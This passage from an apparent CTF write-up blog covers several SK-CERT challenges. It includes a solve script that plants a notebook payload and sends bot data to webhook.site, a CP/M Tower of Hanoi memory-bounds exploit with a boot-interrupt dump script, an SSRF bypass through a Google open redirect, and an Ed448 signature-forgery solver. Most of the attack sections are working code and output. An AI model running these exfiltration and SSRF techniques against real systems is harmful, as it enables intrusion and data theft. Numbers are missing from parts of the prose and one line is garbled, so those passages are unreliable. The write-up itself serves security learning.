flag_path.exists():<br>        print(f&quot;[*] Removing stale flag file: {flag_path}&quot;)<br>        flag_path.unlink()<br><br>    ARTIFACTS_PATH.write_text(<br>        json.dumps(<br>            {<br>                &quot;mode&quot;: &quot;local&quot;,<br>                &quot;target&quot;: public_base,<br>                &quot;callback_base&quot;: callback_base,<br>                &quot;visit_url&quot;: visit_url,<br>                &quot;flag_path&quot;: str(flag_path),<br>            },<br>            indent=2,<br>        ),<br>        encoding=&quot;utf-8&quot;,<br>    )<br>    print(f&quot;[+] Saved run metadata to {ARTIFACTS_PATH}&quot;)<br>    print(f&quot;[*] Triggering bot with local callback: {visit_url}&quot;)<br>    resp = trigger_bot_visit(public_base, visit_url)<br>    print(f&quot;[*] /bot/visit response: {resp}&quot;)<br><br>    deadline = time.time() + poll_seconds<br>    while time.time() &lt; deadline:<br>        if flag_path.exists():<br>            text = flag_path.read_text(encoding=&quot;utf-8&quot;, errors=&quot;replace&quot;)<br>            flag = find_flag_in_text(text)<br>            if flag:<br>                return flag<br>        time.sleep(1)<br><br>    raise RuntimeError(<br>        f&quot;Flag not found in {flag_path}. If server.py saw no traffic, the bot likely did not reach your public callback.&quot;<br>    )<br><br><br>def solve(public_base: str, internal_bases: List[str], poll_seconds: int) -&gt; str:<br>    print(&quot;[*] Creating webhook tokens...&quot;)<br>    log_token = create_webhook_token(&quot;init&quot;, &quot;text/html&quot;)<br>    nb_token = create_webhook_token(&quot;{}&quot;, &quot;application/json&quot;)<br><br>    log_url = f&quot;https://webhook.site/{log_token}&quot;<br>    nb_url = f&quot;https://webhook.site/{nb_token}&quot;<br><br>    print(f&quot;[+] Log token: {log_token}&quot;)<br>    print(f&quot;[+] Notebook token: {nb_token}&quot;)<br>    print(f&quot;[+] Log URL: {log_url}&quot;)<br>    print(f&quot;[+] Notebook URL: {nb_url}&quot;)<br><br>    print(&quot;[*] Uploading malicious notebook payload...&quot;)<br>    notebook_json = build_notebook_json(log_url)<br>    update_webhook_token(nb_token, notebook_json, &quot;application/json&quot;)<br><br>    run_tag = str(int(time.time()))<br>    ARTIFACTS_PATH.write_text(<br>        json.dumps(<br>            {<br>                &quot;target&quot;: public_base,<br>                &quot;run_tag&quot;: run_tag,<br>                &quot;log_token&quot;: log_token,<br>                &quot;notebook_token&quot;: nb_token,<br>                &quot;log_url&quot;: log_url,<br>                &quot;notebook_url&quot;: nb_url,<br>                &quot;internal_candidates&quot;: internal_bases,<br>            },<br>            indent=2,<br>        ),<br>        encoding=&quot;utf-8&quot;,<br>    )<br>    print(f&quot;[+] Saved run metadata to {ARTIFACTS_PATH}&quot;)<br><br>    # Try internal host candidates; challenge setup used challenge:4173<br>    for internal_base in internal_bases:<br>        print(f&quot;[*] Trying internal base: {internal_base}&quot;)<br>        controller_url = build_controller_url(https://medium.com/log_url,%20nb_url,%20internal_base,%20run_tag)<br>        print(f&quot;[*] Controller URL: {controller_url}&quot;)<br><br>        resp = trigger_bot_visit(public_base, controller_url)<br>        print(f&quot;[*] /bot/visit response: {resp}&quot;)<br><br>        deadline = time.time() + poll_seconds<br>        last_events: List[str] = []<br>        while time.time() &lt; deadline:<br>            rows = fetch_requests(log_token, per_page=100)<br>            flag = find_flag_in_requests(rows, run_tag)<br>            if flag:<br>                return flag<br><br>            events = summarize_recent_events(rows, run_tag)<br>            if events and events != last_events:<br>                print(&quot;[*] Recent events:&quot;)<br>                for event in events:<br>                    print(f&quot;    - {event}&quot;)<br>                last_events = events<br>            time.sleep(2)<br><br>        print(f&quot;[!] No flag yet for {internal_base}, trying next candidate...&quot;)<br><br>    raise RuntimeError(&quot;Flag not found. Try rerun; remote timing may vary.&quot;)<br><br><br>def parse_args() -&gt; argparse.Namespace:<br>    p = argparse.ArgumentParser(description=&quot;Solve script for Yipiter.4&quot;)<br>    p.add_argument(&quot;--mode&quot;, choices=[&quot;online&quot;, &quot;local&quot;], default=&quot;online&quot;, help=&quot;Delivery mode&quot;)<br>    p.add_argument(&quot;--target&quot;, default=&quot;http://46.62.153.171:5555&quot;, help=&quot;Public challenge base URL&quot;)<br>    p.add_argument(<br>        &quot;--internal&quot;,<br>        nargs=&quot;+&quot;,<br>        default=[&quot;http://challenge:4173&quot;, &quot;http://app:4173&quot;],<br>        help=&quot;Internal host candidates used by bot browser&quot;,<br>    )<br>    p.add_argument(&quot;--poll-seconds&quot;, type=int, default=45, help=&quot;Polling time per internal host&quot;)<br>    p.add_argument(&quot;--timeout&quot;, type=int, default=120, help=&quot;Hard script timeout in seconds&quot;)<br>    p.add_argument(<br>        &quot;--callback-base&quot;,<br>        default=&quot;https://6e3e-86-127-230-213.ngrok-free.app&quot;,<br>        help=&quot;Public callback base, e.g. https://xxxx.ngrok-free.app&quot;,<br>    )<br>    p.add_argument(&quot;--controller-path&quot;, default=&quot;/solver.html&quot;, help=&quot;Path served by local callback in local mode&quot;)<br>    p.add_argument(<br>        &quot;--flag-file&quot;,<br>        default=str(DEFAULT_FLAG_PATH),<br>        help=&quot;Local file written by server.py in local mode&quot;,<br>    )<br>    return p.parse_args()<br><br><br>def main() -&gt; int:<br>    args = parse_args()<br>    install_hard_timeout(args.timeout)<br><br>    try:<br>        if args.mode == &quot;local&quot;:<br>            flag = solve_local(<br>                public_base=args.target,<br>                callback_base=args.callback_base or &quot;&quot;,<br>                poll_seconds=args.poll_seconds,<br>                flag_path=Path(args.flag_file),<br>                controller_path=args.controller_path,<br>            )<br>        else:<br>            flag = solve(public_base=args.target, internal_bases=args.internal, poll_seconds=args.poll_seconds)<br>    except Exception as exc:<br>        print(f&quot;[!] Solve failed: {exc}&quot;, file=sys.stderr)<br>        return 1<br><br>    print(&quot;\n=== FLAG ===&quot;)<br>    print(flag)<br>    return 0<br><br><br>if __name__ == &quot;__main__&quot;:<br>    raise SystemExit(main())</pre><p>Run it then:</p><pre>python3 solve.py<br>[*] Creating webhook tokens...<br>[+] Log token: eeb9bce2-6ac4-406d-9643-db7c7a46bcf5<br>[+] Notebook token: a597c30c-feef-4f80-89f9-aa8e768836ed<br>[+] Log URL: https://webhook.site/eeb9bce2-6ac4-406d-9643-db7c7a46bcf5<br>[+] Notebook URL: https://webhook.site/a597c30c-feef-4f80-89f9-aa8e768836ed<br>[*] Uploading malicious notebook payload...<br>[+] Saved run metadata to /home/saad/Downloads/solve_artifacts.json<br>[*] Trying internal base: http://challenge:4173<br>[*] Controller URL: https://httpbin.org/base64/PCFkb2N0eXBlIGh0bWw-PG1ldGEgY2hhcnNldD0ndXRmLTgnPjx0aXRsZT54PC90aXRsZT48c2NyaXB0Pgpjb25zdCBXID0gImh0dHBzOi8vd2ViaG9vay5zaXRlL2VlYjliY2UyLTZhYzQtNDA2ZC05NjQzLWRiN2M3YTQ2YmNmNSI7CmNvbnN0IEMgPSAiaHR0cDovL2NoYWxsZW5nZTo0MTczIjsKY29uc3QgTiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS9hNTk3YzMwYy1mZWVmLTRmODAtODlmOS1hYThlNzY4ODM2ZWQiOwpjb25zdCBSSUQgPSAiMTc3NTkzMzA4MCI7CgpmdW5jdGlvbiBwaW5nKHQsZCkgewogIHRyeSB7CiAgICBmZXRjaChXICsgJy8_dD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KHQpICsgJyZyaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChSSUQpICsgJyZkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZHx8JycpICsgJyZfPScgKyBEYXRlLm5vdygpLCB7IG1vZGU6ICduby1jb3JzJyB9KTsKICB9IGNhdGNoKGUpIHt9Cn0KCnBpbmcoJ3MnLCBDKTsKd2luZG93Lm9wZW4oQyArICcvbmV3P3VybD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KE4pLCAnc2VlZCcpOwoKd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ21lc3NhZ2UnLCAoZXYpID0-IHsKICB0cnkgewogICAgaWYgKCFldi5kYXRhIHx8IGV2LmRhdGEudCAhPT0gJ2Jsb2JfbGVhaycgfHwgIWV2LmRhdGEuaHJlZikgcmV0dXJuOwogICAgcGluZygnYicsIGV2LmRhdGEuaHJlZik7CiAgICBjb25zdCBhdXRoID0gQyArICcvYXV0aC8_c3NvPWNhbGxiYWNrJm1vZGU9bG9naW4mdG9rZW49eWlwaXRlciZyZXR1cm49JyArIGVuY29kZVVSSUNvbXBvbmVudChldi5kYXRhLmhyZWYpOwogICAgd2luZG93Lm9wZW4oYXV0aCwgJ19ibGFuaycsICdub29wZW5lcicpOwogICAgcGluZygnYScsIGF1dGgpOwogIH0gY2F0Y2ggKGUpIHsKICAgIHBpbmcoJ21zZ19lcnInLCBTdHJpbmcoZSkpOwogIH0KfSk7Cjwvc2NyaXB0Pg==<br>[*] /bot/visit response: {&#39;status&#39;: &#39;visited&#39;}<br>[+] Flag found via event t=flag_ls<br><br>=== FLAG ===<br>SK-CERT{sneks_bite_but_jsneks_bite_harder}</pre><p>Flag:</p><pre>SK-CERT{sneks_bite_but_jsneks_bite_harder}</pre><h3>15: Bins — Tower of Hanoi Revenge:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*NJkbviB-dcTjEEzSj5tGiQ.png" /><figcaption>chall desc</figcaption></figure><p>Description: Back in time knights used to slay dragons and underdogs defeated giants using slingshots and stones. You might need some of these tactics here… (Now for real)<br>Connection: nc exp.cybergame.sk 7011</p><p>The challenge provides a zip file containing a Docker environment and a few binaries. The core of the challenge is a Z emulator running a CP/M environment (RomWBW v..). Inside this environment, there is a MAIN.COM executable which is a Z CP/M program that runs a Tower of Hanoi game. When connecting to the remote service, we are greeted by the RomWBW boot loader, which automatically boots into CP/M . and drops us at a B&gt; prompt. Running MAIN starts the Tower of Hanoi game with discs. The goal of the game is to move all discs from peg to peg . A standard -disc Tower of Hanoi takes moves to solve. However, the challenge description hints at “slingshots and stones” and “underdogs defeating giants,” suggesting there is a shortcut or an exploit to bypass the normal rules.</p><h3>Reverse Engineering MAIN.COM:</h3><p>By disassembling <strong><em>MAIN.COM</em></strong> (using a Z disassembler), we can understand how the game state is managed and how moves are validated. The game state is stored in memory starting at address <strong><em>0x0307</em></strong>:</p><p>• 0x0307 : Peg state (initially 0x1F , representing all discs) <br>• 0x0308 : Peg state (initially 0x00 )<br> • 0x0309 : Peg state (initially 0x00 )<br>The game asks for input: <strong>Move from (1–3) and to (1–3).</strong> It reads a single character for the source peg and a single character for the destination peg.</p><p>The critical vulnerability lies in how the game calculates the memory address for a given peg. It takes the ASCII value of the input character, subtracts 0x30, the ASCII value of &#39;0&#39;, and adds it to the base address 0x0306.</p><pre>; Pseudo-code for peg address calculation<br>input_char = read_char()<br>peg_index = input_char - &#39;0&#39;<br>peg_address = 0x0306 + peg_index</pre><p>Because there is <strong>no bounds checking</strong> on the input character, we can input characters other than &#39;1&#39;, &#39;2&#39;, or &#39;3&#39; to access memory locations outside the intended 0x0307-0x0309 range.</p><h3>The “Slingshot” Exploit:</h3><p>By inputting specific characters, we can use other parts of the game’s memory as “auxiliary pegs.” This allows us to solve the puzzle in far fewer than 31 moves.<br>For example, if we input &lt; (ASCII 0x3C) the calculated address is <br><strong>0x0306 + (0x3C — 0x30) = 0x0312<br></strong>Address 0x0312 happens to fall inside the &quot;Invalid Move!&quot; string in memory, specifically on a space character, 0x20.<br>The game interprets this 0x20 as the state of the discs on this &quot;peg.&quot; Because 0x20 has no lower bits set, the game thinks this peg only contains a very large disc, larger than our 5 playable discs, meaning we can legally place any of our discs on top of it.</p><p>Using characters like &lt; and B as extra pegs, we can solve the puzzle in just 8 moves instead of 31.</p><p>However, even after winning the game and seeing the &quot;Congratulations! You Win!&quot; message, the flag is not printed. The game simply exits back to the CP/M B&gt; prompt.<br>Finding the Flag via RomWBW Monitor</p><p>Since the flag is not printed by the game itself, we need to look elsewhere in the system. The CP/M environment has a FLAG.TXT file on the B: drive, but the TYPE command is not available to read it.</p><p>The breakthrough comes from understanding the underlying RomWBW system. During the boot process, before CP/M loads, there is a brief window where we can interrupt the AutoBoot sequence by sending the ESC character, \x1b.</p><p>Interrupting the boot drops us into the RomWBW Boot Loader menu:</p><pre>Boot [H=Help]:</pre><p>From here, we can enter the system Monitor by typing m. The Monitor is a powerful debugging tool that allows us to inspect memory, read/write to disk sectors, and more.</p><pre>Loading Monitor...<br>Monitor Ready (? for Help)<br>8E&gt;</pre><p>The flag is stored on the ROM disk, Unit 4. We can select this unit using the S 04 command. Then, we can dump the memory where the ROM disk contents are mapped using the D dump command. The flag is located in the memory range 0x2000 to 0x207F.</p><h3>The Final Exploit Script:</h3><p>The following Python script automates the process of connecting to the server, interrupting the boot sequence, entering the Monitor, and dumping the memory containing the flag.</p><pre>#!/usr/bin/env python3<br>import re<br>import socket<br>import time<br><br><br>HOST = &quot;exp.cybergame.sk&quot;<br>PORT = 7011<br><br><br>def main():<br>    s = socket.create_connection((HOST, PORT), timeout=10)<br>    s.settimeout(2)<br>    buf = b&quot;&quot;<br><br>    s.sendall(b&quot;\x1b\x1b\x1b&quot;)<br>    end = time.time() + 8<br>    while time.time() &lt; end:<br>        try:<br>            data = s.recv(65536)<br>        except socket.timeout:<br>            data = b&quot;&quot;<br>        if data:<br>            buf += data<br>            if b&quot;Boot [H=Help]:&quot; in buf:<br>                break<br><br>    s.sendall(b&quot;m\r&quot;)<br>    end = time.time() + 5<br>    while time.time() &lt; end:<br>        try:<br>            data = s.recv(65536)<br>        except socket.timeout:<br>            data = b&quot;&quot;<br>        if data:<br>            buf += data<br>            if re.search(rb&quot;\n[0-9A-F]{2}&gt;&quot;, buf):<br>                break<br><br>    s.sendall(b&quot;s 04\r&quot;)<br>    time.sleep(0.2)<br>    s.sendall(b&quot;d 2000 207f\r&quot;)<br>    time.sleep(1)<br><br>    try:<br>        while True:<br>            data = s.recv(65536)<br>            if not data:<br>                break<br>            buf += data<br>    except socket.timeout:<br>        pass<br><br>    s.close()<br><br>    m = re.search(rb&quot;SK-CERT\{[^}\n]+\}&quot;, buf)<br>    if not m:<br>        print(buf.decode(&quot;latin1&quot;, &quot;replace&quot;))<br>        raise SystemExit(&quot;flag not found&quot;)<br><br>    print(m.group().decode())<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>Script Output:</h3><p>When running the script against the remote server, it successfully interrupts the boot, dumps the memory, and extracts the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbDCOHisz2cP6cLbx479Ag.png" /><figcaption>output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gECpnFiuUO5E9kXlqZ4m5Q.png" /><figcaption>output</figcaption></figure><p>and that makes the final flag:</p><pre>SK-CERT{0k4y_n0w_f0r_r34l_h0w_0ld_4r3_y0u}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*T6E2fh9AXU6cTgXWUEKSwg.png" /><figcaption>Correct</figcaption></figure><h3>16: Offensive Security(web) — GoogleProxy:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*pSc4xVR1Cj1pxm036s2fCw.png" /><figcaption>Chall Desc</figcaption></figure><p>Challenge Information</p><p>- <strong>Name: </strong>Googleproxy</p><p>- <strong>Category:</strong> Web / Offensive Security</p><p>- <strong>Objective:</strong> Access the hidden flag service at `http://hidden-flag:8081/flag` through the provided proxy service.</p><h3>1.Analysis:</h3><h4>Proxy Service (`server.js`):</h4><p>The main application is a Node.js proxy server. It exposes a `/proxy` endpoint that takes a `url` parameter.</p><pre>app.get(&quot;/proxy&quot;, async (req, res) =&gt; {<br>  const target = req.query.url;<br>  // ... validation ...<br>  let parsedUrl = new URL(target);<br>  <br>  if (!isAllowedGoogleHost(parsedUrl.hostname)) {<br>    return sendError(res, 403, &quot;forbidden&quot;);<br>  }<br><br>  try {<br>    const upstreamResponse = await fetch(parsedUrl);<br>    // ... returns content ...<br>  } catch {<br>    sendError(res, 502, &quot;upstream error&quot;);<br>  }<br>});<br><br>function isAllowedGoogleHost(hostname) {<br>  return hostname === &quot;google.com&quot; || hostname.endsWith(&quot;.google.com&quot;);<br>}</pre><p>The proxy has a whitelist: it only allows fetching URLs from <strong><em>`google.com`</em></strong> or its subdomains. However, it uses <strong><em>`fetch()`</em></strong>, which follows HTTP redirects by default.</p><h4>2. Flag Service (`server.py`)</h4><p>A backend service is running internally on <strong><em>`http://hidden-flag:8081/flag`</em></strong>. It is not directly accessible from the outside.</p><pre>class Handler(BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        if self.path == &quot;/flag&quot;:<br>            body = FLAG.encode(&quot;utf-8&quot;)<br>            # ... returns the flag ...</pre><p>Vulnerability: SSRF with Whitelist Bypass via Open Redirect</p><p>The core vulnerability is Server-Side Request Forgery (SSRF). While there is a hostname whitelist <strong><em>(`*.google.com`)</em></strong>, it can be bypassed if we find an <strong>Open Redirect</strong> on a Google domain.</p><p>Google uses various redirectors<strong><em> (e.g., `google.com/url?q=…`) </em></strong>for tracking links in services like Gmail. When <strong><em>`fetch`</em></strong> hits a Google redirector, it will see a valid <strong><em>`google.com` </em></strong>hostname, pass the security check, and then follow the redirect to any destination — including internal services.</p><p>Exploitation Steps:</p><p>1. <strong>Identify the Internal Target:</strong> From the source code/challenge description, the flag is at `http://hidden-flag:8081/flag`.</p><p>2. <strong>Generate a Google Redirect Link:</strong> One way to get a Google-signed redirect link is to send an email to a Gmail account containing the target URL.</p><p>3. <strong>Retrieve the “Safelink”:</strong></p><p>- Send an email to yourself with the text: `http://hidden-flag:8081/flag`.</p><p>- Open the email in Gmail.</p><p>- Right-click the link and inspect it or copy the link address.</p><p>- The link will look something like: `https://www.google.com/url?q=http://hidden-flag:8081/flag&amp;source=gmail&amp;...`</p><p>4. <strong>Bypass the Proxy: </strong>Submit this URL to the `/proxy` endpoint:</p><p>- URL: `http://&lt;challenge-ip&gt;:&lt;port&gt;/proxy?url=https://www.google.com/url?q=http://hidden-flag:8081/flag`</p><p>5. <strong>Execution Flow:<br></strong>- The Proxy receives the request.</p><p>- `isAllowedGoogleHost(“www.google.com&quot;)` returns `true`.</p><p>- The Proxy calls `fetch(“https://www.google.com/url?q=http://hidden-flag:8081/flag&quot;)`.</p><p>- Google redirects the request to `http://hidden-flag:8081/flag`.</p><p>- The Proxy follows the redirect, reaches the internal flag service, and retrieves the flag.</p><p>- The Proxy returns the flag content to the user.</p><h3>Manual walk Through:</h3><p>let me demonstrate and walk you through this, first of all go to gmail and compose an email to yourself inside it type nothing just put this url:</p><pre>http://hidden-flag:8081/flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yIiOYD8HV3eWDZz-Cdtw2w.png" /><figcaption>Email</figcaption></figure><p>Now open the email and u will right click the url and hit inspect, then copy the safe link url that look something like:</p><pre>google.com/url?q=…</pre><p>then take that URL and post it to google proxy server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Xdbnr8Z0OU-DnFDABtHHw.png" /><figcaption>Flag</figcaption></figure><p>and thats what u will get redirected to, its nice isnt it ;)?</p><pre>SK-CERT{its_nice_isnt_it}</pre><h3>17: Return of eliptic — Goldilocks:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*4yT0SUlwMu8MuioI1ToroA.png" /><figcaption>chall</figcaption></figure><p>The challenge involves a custom Ed448 signature scheme. We are provided with the public keys `PUB_LEFT` and `PUB_RIGHT`, the message `MSG`, and a ciphertext `flag.enc` encrypted using a stream derived from a valid signature of `MSG`. To decrypt the flag, we need to forge a valid signature `sig` of `MSG` under the “effective public key” $A$, which is the sum of decoding `PUB_LEFT` and `PUB_RIGHT`.</p><h3>1. Signature Scheme &amp; Math Background:</h3><p>The challenge implements the Ed448 curve over the prime field $P = 2^{448} — 2^{224} — 1$:<br>$$x² + y² \equiv 1 + D x² y² \pmod P$$<br>where $D = -39081 \bmod P$.</p><p>The standard base point $\text{BASE}$ has order $L$ (where $L$ is a large 446-bit prime). The cofactor of the curve is 4, which means the total curve group order is $4 \times L$.</p><p>The signature verification expects a 114-byte signature `sig = R_enc || S` (where $R$ is an encoded point and $S$ is an integer $&lt; L$) and verifies:<br>$$S \cdot \text{BASE} = R + k \cdot A$$<br>where $k$ is a challenge scalar derived from a cryptographic hash:<br>$$k = \text{SHAKE256}(R_{\text{enc}} \mathbin{\Vert} A_{\text{enc}} \mathbin{\Vert} \text{MSG}) \bmod L$$</p><h3>2. Vulnerability Analysis: Small Subgroup Confinement:</h3><p>Let’s evaluate the effective public key $A$:<br>$$A = \text{decode}(PUB\_LEFT) + \text{decode}(PUB\_RIGHT)$$</p><p>By analyzing the coordinates of $A$, we discover:<br>$$A = (1, 0)$$</p><p>Let’s find the order of $A$ using the doubling formula on Edwards Curve:<br>$$x_3 = \frac{x_1 y_2 + y_1 x_2}{1 + D x_1 x_2 y_1 y_2} \pmod P$$<br>$$y_3 = \frac{y_1 y_2 — x_1 x_2}{1 — D x_1 x_2 y_1 y_2} \pmod P$$</p><p>With $A = (1, 0)$:<br>- **2nd Multiple ($2A$)**:<br> $$x_{2A} = \frac{1(0) + 0(1)}{1 + D(0)} = 0$$<br> $$y_{2A} = \frac{0(0) — 1(1)}{1 — D(0)} = -1$$<br> So, $2A = (0, -1)$.</p><p>- **4th Multiple ($4A$)**:<br> $$x_{4A} = \frac{0(-1) + -1(0)}{1 + D(0)} = 0$$<br> $$y_{4A} = \frac{-1(-1) — 0(0)}{1 — D(0)} = 1$$<br> So, $4A = (0, 1) = \text{IDENTITY}$.</p><p>Thus, **$A$ is a torsion point (specifically, generator of the subgroup of order 4)**.</p><h3>3. Exploit Derivation:</h3><p>Since $A$ has order 4, any scalar multiplication of $A$ collapses modulo 4:<br>$$k \cdot A \equiv (k \bmod 4) \cdot A$$</p><p>We want to forge a signature. We can choose the integer portion of the signature $S = 0$. By setting $S = 0$, the verification equation simplifies:<br>$$0 \cdot \text{BASE} \equiv R + k \cdot A$$<br>$$O \equiv R + k \cdot A \implies R = — (k \cdot A)$$</p><p>Since $k \cdot A \in \{0A, 1A, 2A, 3A\}$, $R$ must also lie in the same order-4 subgroup:<br>$$R \in \{0A, 1A, 2A, 3A\}$$</p><p>We can write $R = i \cdot A$ for some $i \in \{0, 1, 2, 3\}$. Then the condition becomes:<br>$$i \cdot A + k \cdot A = O \implies (i + k) \cdot A = O$$<br>Since $A$ has order 4, this is equivalent to:<br>$$(i + k) \equiv 0 \pmod 4$$</p><p>We can easily brute force over all 4 choices of $i$:<br>1. For each $i \in \{0, 1, 2, 3\}$, set $R_i = i \cdot A$.<br>2. Encode $R_i$ into `R_enc`.<br>3. Compute $k_i = \text{SHAKE256}(R_{\text{enc}} \mathbin{\Vert} A_{\text{enc}} \mathbin{\Vert} \text{MSG}) \bmod L$.<br>4. Check if $(i + k_i) \equiv 0 \pmod 4$ (equivalently $R_i + k_i \cdot A == O`).<br>5. Since $k$ behaves like a random oracle, there is a $\approx 1/4$ chance that $(i + k_i) \equiv 0 \pmod 4$ holds for each candidate. With 4 candidates, we are guaranteed details to find a valid $i$.</p><p>Once a valid $i$ is found, the forged signature is:<br>$$\text{sig} = \text{encode}(R_i) \mathbin{\Vert} 0 \quad (\text{57 bytes for } R_i \text{ and 57 bytes of zero for } S)$$</p><h3>4. Run-Time Performance Optimization Note:</h3><p>In pure Python, doing a full 448-bit scalar multiplication takes roughly $10$ to $15$ seconds because of modular exponentiations. The unoptimized solver code would evaluate `scalar_mul(A, k)` directly, requiring multiple full-length scalar multiplications.</p><p>Since $A$ has order 4, we can optimize this to:<br>$$\text{scalar\_mul}(A, k \bmod 4)$$<br>This reduces the execution time from several minutes to less than a millisecond!</p><h3>5. Exploitation Script:</h3><p>Below is the python solver that exploits the torsion point of order 4:</p><pre>#!/usr/bin/env python3<br>import hashlib<br>from pathlib import Path<br><br>P = 2**448 - 2**224 - 1<br>D = (-39081) % P<br>L = int(<br>    &quot;3ffffffffffffffffffffffffffffffffffffffffffffffffffffff&quot;<br>    &quot;7cca23e9c44edb49aed63690216cc2728dc58f552378c292ab5844f3&quot;,<br>    16,<br>)<br><br>BASE_X = int(<br>    &quot;4F1970C66BED0DED221D15A622BF36DA9E146570470F1767EA6DE324&quot;<br>    &quot;A3D3A46412AE1AF72AB66511433B80E18B00938E2626A82BC70CC05E&quot;,<br>    16,<br>)<br>BASE_Y = int(<br>    &quot;693F46716EB6BC248876203756C9C7624BEA73736CA3984087789C1E&quot;<br>    &quot;05A0C2D73AD3FF1CE67C39C4FDBD132C4ED7C8AD9808795BF230FA14&quot;,<br>    16,<br>)<br><br>IDENTITY = (0, 1)<br>BASE = (BASE_X, BASE_Y)<br><br>PUB_LEFT = bytes.fromhex(<br>    &quot;e9b90d9dcc8cbed89899cbd92c0982d19f71a53ea83c422052274c4ce69380379d1ba991fdf9cd132e41f6b69f1973420dcf4767668b6c9780&quot;<br>)<br>PUB_RIGHT = bytes.fromhex(<br>    &quot;577f79bab6f1f3953cd5e431232848fce102828266122218257da5b17f137c6b339c2f9775a23ae50acb46e8cdb84dc289bd2139c45368c580&quot;<br>)<br>MSG = bytes.fromhex(<br>    &quot;73657373696f6e3d676f6c64696c6f636b733b6d6f64653d666173742d7665726966793b7469636b65743d02000000&quot;<br>)<br>NONCE = bytes.fromhex(&quot;219aa996b4efccbaf59beda01949a7f1&quot;)<br><br><br>def inv(x: int) -&gt; int:<br>    return pow(x, P - 2, P)<br><br><br>def sqrt_mod(a: int) -&gt; int:<br>    if a == 0:<br>        return 0<br>    x = pow(a, (P + 1) // 4, P)<br>    if (x * x - a) % P != 0:<br>        raise ValueError(&quot;not a square&quot;)<br>    return x<br><br><br>def is_on_curve(Q):<br>    x, y = Q<br>    return (x * x + y * y - 1 - D * x * x * y * y) % P == 0<br><br><br>def point_add(Q1, Q2):<br>    x1, y1 = Q1<br>    x2, y2 = Q2<br>    t = (x1 * x2 * y1 * y2) % P<br><br>    den_x = (1 + D * t) % P<br>    den_y = (1 - D * t) % P<br><br>    x3 = ((x1 * y2 + y1 * x2) * inv(den_x)) % P<br>    y3 = ((y1 * y2 - x1 * x2) * inv(den_y)) % P<br>    return (x3, y3)<br><br><br>def point_neg(Q):<br>    x, y = Q<br>    return ((-x) % P, y)<br><br><br>def scalar_mul(Q, n: int):<br>    R = IDENTITY<br>    T = Q<br>    k = n<br>    while k &gt; 0:<br>        if k &amp; 1:<br>            R = point_add(R, T)<br>        T = point_add(T, T)<br>        k &gt;&gt;= 1<br>    return R<br><br><br>def encode_point(Q):<br>    x, y = Q<br>    out = bytearray(y.to_bytes(57, &quot;little&quot;))<br>    out[-1] &amp;= 0x7F<br>    out[-1] |= (x &amp; 1) &lt;&lt; 7<br>    return bytes(out)<br><br><br>def decode_point(data: bytes):<br>    if len(data) != 57:<br>        raise ValueError(&quot;bad point length&quot;)<br><br>    sign = data[56] &gt;&gt; 7<br>    y = int.from_bytes(data, &quot;little&quot;) &amp; ((1 &lt;&lt; 455) - 1)<br><br>    if y &gt;= P:<br>        raise ValueError(&quot;bad y&quot;)<br><br>    y2 = (y * y) % P<br>    num = (1 - y2) % P<br>    den = (1 - D * y2) % P<br>    x2 = (num * pow(den, P - 2, P)) % P<br><br>    x = sqrt_mod(x2)<br>    if (x &amp; 1) != sign:<br>        x = (-x) % P<br><br>    Q = (x, y)<br>    if not is_on_curve(Q):<br>        raise ValueError(&quot;invalid point&quot;)<br>    return Q<br><br><br>def effective_pub():<br>    left = decode_point(PUB_LEFT)<br>    right = decode_point(PUB_RIGHT)<br>    return encode_point(point_add(left, right))<br><br><br>def challenge_scalar(R_enc: bytes, A_enc: bytes, msg: bytes):<br>    h = hashlib.shake_256(R_enc + A_enc + msg).digest(114)<br>    return int.from_bytes(h, &quot;little&quot;) % L<br><br><br>def verify(msg: bytes, sig: bytes) -&gt; bool:<br>    if len(sig) != 114:<br>        return False<br><br>    try:<br>        A_enc = effective_pub()<br>        A = decode_point(A_enc)<br>        R = decode_point(sig[:57])<br>    except Exception:<br>        return False<br><br>    S = int.from_bytes(sig[57:], &quot;little&quot;)<br>    if S &gt;= L:<br>        return False<br><br>    k = challenge_scalar(sig[:57], A_enc, msg)<br>    lhs = scalar_mul(BASE, S)<br>    rhs = point_add(R, scalar_mul(A, k))<br>    return lhs == rhs<br><br><br>def decrypt_with_signature(sig: bytes):<br>    if not verify(MSG, sig):<br>        raise ValueError(&quot;signature rejected&quot;)<br>    ct = Path(__file__).with_name(&quot;flag.enc&quot;).read_bytes()<br>    stream = hashlib.shake_256(sig + b&quot;|goldilocks|&quot; + MSG + NONCE).digest(len(ct))<br>    return bytes(c ^ s for c, s in zip(ct, stream))<br><br><br>def forge_signature():<br>    A_enc = effective_pub()<br>    A = decode_point(A_enc)<br><br>    # The effective public key has order 4, so a zero-S signature can be forged<br>    # by finding a torsion point R such that R + k*A = O.<br>    for i in range(4):<br>        R = scalar_mul(A, i)<br>        k = challenge_scalar(encode_point(R), A_enc, MSG)<br>        if point_add(R, scalar_mul(A, k)) == IDENTITY:<br>            return encode_point(R) + (0).to_bytes(57, &quot;little&quot;)<br><br>    raise RuntimeError(&quot;failed to forge signature&quot;)<br><br><br>def main():<br>    sig = forge_signature()<br>    print(&quot;signature =&quot;, sig.hex())<br>    print(&quot;valid     =&quot;, verify(MSG, sig))<br>    pt = decrypt_with_signature(sig)<br>    print(pt.decode(errors=&quot;replace&quot;))<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>6. Flag Details:</h3><p>Executing the solver decrypts `flag.enc`:</p><pre>SK-CERT{1_d0n7_kn0w_why_7h3y_d0n7_us3_7h15_curv3_t00_much}</pre><h3>18: Return of eliptic — Extended Illusion:</h3><figure><img alt="" 